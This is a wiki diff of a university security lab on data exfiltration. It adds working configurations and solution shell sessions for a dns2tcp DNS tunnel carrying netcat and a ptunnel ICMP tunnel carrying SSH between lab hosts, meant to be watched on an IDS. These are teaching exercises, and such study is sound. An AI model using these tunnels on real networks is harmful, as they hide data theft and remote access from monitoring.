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cdci:labs:6 [2020/03/17 01:28]
mihai.chiroiu [06. [20p] ICMP exfiltration]
cdci:labs:6 [2020/05/15 17:07] (current)
mihai.chiroiu
Line 1: Line 1:
 +~~SHOWSOLUTION~~
 +
 ====== Lab06. Data exfiltration ​ ====== ====== Lab06. Data exfiltration ​ ======
 +
 +<note warning>
 +Important read to be graded!
 +{{page>:​cdci:​rec&​nofooter&​noeditbutton&​noheader}}
 +</​note>​
  
 ===== Objectives ===== ===== Objectives =====
Line 193: Line 200:
 ==== 07. [20p] DNS exfiltration ==== ==== 07. [20p] DNS exfiltration ====
  
-To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark). ​+For this exercise we are going to create a DNS tunnel between the two nodes and use it for the Netcat connection. The tool for this is [[http://​www.linuxcertif.com/​man/​1/​dns2tcpc/​|dns2tcp]]. Use the following configuration for the client/​server side. 
 +  * Client side configuration 
 +<​code>​ 
 +# cat .dns2tcprc 
 +domain = dns2tcp.cdci.ro 
 +resource = nc 
 +local_port = 8080 
 +key = secretkey 
 +</​code>​ 
 +  * Server side configuration 
 +<​code>​ 
 +# cat .dns2tcpdrc 
 +listen = 0.0.0.0 
 +port = 53 
 +user=nobody 
 +chroot = /root/ 
 +pid_file = /​var/​run/​dns2tcp.pid 
 +domain = dns2tcp.cdci.ro 
 +key = secretkey 
 +resources = nc:​127.0.0.1:​8080 
 +</​code>​ 
 + 
 +To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark). For this exercise we strongly encourage you to view the data in Wireshark.
  
 <​solution>​ <​solution>​
 <​code>​ <​code>​
 +root@h2:/# dns2tcpd -f .dns2tcpdrc ​
 +root@h2:/# netstat -nlup
 +Active Internet connections (only servers)
 +Proto Recv-Q Send-Q Local Address ​          ​Foreign Address ​        ​State ​      ​PID/​Program name    ​
 +udp        0      0 0.0.0.0:​53 ​             0.0.0.0:​* ​                          ​428/​dns2tcpd ​          
 +root@h2:/# nc -l -p 8080 -k
 +TEST
 +
 +root@h1:/# dns2tcpc -f .dns2tcprc 192.168.16.3 &
 +[2] 196
 +root@h1:/# Listening on port : 8080
 +root@h1:/# netstat -nltp
 +Active Internet connections (only servers)
 +Proto Recv-Q Send-Q Local Address ​          ​Foreign Address ​        ​State ​      ​PID/​Program name    ​
 +tcp        0      0 127.0.0.1:​8080 ​         0.0.0.0:​* ​              ​LISTEN ​     196/​dns2tcpc ​  
 +root@h1:/# nc 127.0.0.1 8080
 +TEST
 +^C
 </​code>​ </​code>​
 </​solution>​ </​solution>​
  
 +==== 08. [10p] Secure exfiltration ====
  
 +For this exercise use an ICMP tunnel to create an ssh connection.
 +
 +To view the traffic you can use tcpdump on the IDS (to view it locally or to transfer it to your computer and open it with Wireshark). For this exercise we strongly encourage you to view the data in Wireshark.
 +
 +<​solution>​
 +<​code>​
 +root@h2:/# ptunnel &
 +[1] 359
 +root@h2:/# [inf]: Starting ptunnel v 0.72.
 +[inf]: (c) 2004-2011 Daniel Stoedle, <​daniels@cs.uit.no>​
 +[inf]: Security features by Sebastien Raveau, <​sebastien.raveau@epita.fr>​
 +[inf]: Forwarding incoming ping packets over TCP.
 +[inf]: Ping proxy is listening in privileged mode.
 +root@h2:/# service ssh start
 + * Starting OpenBSD Secure Shell server sshd                                                                           [ OK ] 
 +root@h2:/# netstat -nltp
 +Active Internet connections (only servers)
 +Proto Recv-Q Send-Q Local Address ​          ​Foreign Address ​        ​State ​      ​PID/​Program name    ​
 +tcp        0      0 0.0.0.0:​22 ​             0.0.0.0:​* ​              ​LISTEN ​     375/​sshd ​           ​
 +tcp6       ​0 ​     0 :::22                   :::​* ​                   LISTEN ​     375/​sshd ​    
 +
 +
 +root@h1:/# ptunnel -p 192.168.16.3 -lp 22 -da 127.0.0.1 -dp 22 &
 +[2] 171
 +root@h1:/# [inf]: Starting ptunnel v 0.72.
 +[inf]: (c) 2004-2011 Daniel Stoedle, <​daniels@cs.uit.no>​
 +[inf]: Security features by Sebastien Raveau, <​sebastien.raveau@epita.fr>​
 +[inf]: Relaying packets from incoming TCP streams.
 +
 +root@h1:/# netstat -nltp
 +Active Internet connections (only servers)
 +Proto Recv-Q Send-Q Local Address ​          ​Foreign Address ​        ​State ​      ​PID/​Program name    ​
 +tcp        0      0 0.0.0.0:​22 ​             0.0.0.0:​* ​              ​LISTEN ​     171/​ptunnel ​        
 +root@h1:/# ssh root@127.0.0.1 ​  
 +[inf]: Incoming connection.
 +[evt]: No running proxy thread - starting it.
 +[inf]: Ping proxy is listening in privileged mode.
 +The authenticity of host '​127.0.0.1 (127.0.0.1)'​ can't be established.
 +ECDSA key fingerprint is SHA256:​qjFg8BPsF6kL0bYEjKrAGvLyc4C321orZpOO55jmD+8.
 +Are you sure you want to continue connecting (yes/no)? yes
 +Warning: Permanently added '​127.0.0.1'​ (ECDSA) to the list of known hosts.
 +root@127.0.0.1'​s password: ​
 +Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-1057-aws x86_64)
 +[...]
 +Last login: Mon Mar 16 23:11:06 2020 from 192.168.16.2
 +root@h2:​~# ​
 +</​code>​
 +</​solution>​
cdci/labs/6.1584401290.txt.gz · Last modified: 2020/03/17 01:28 by mihai.chiroiu
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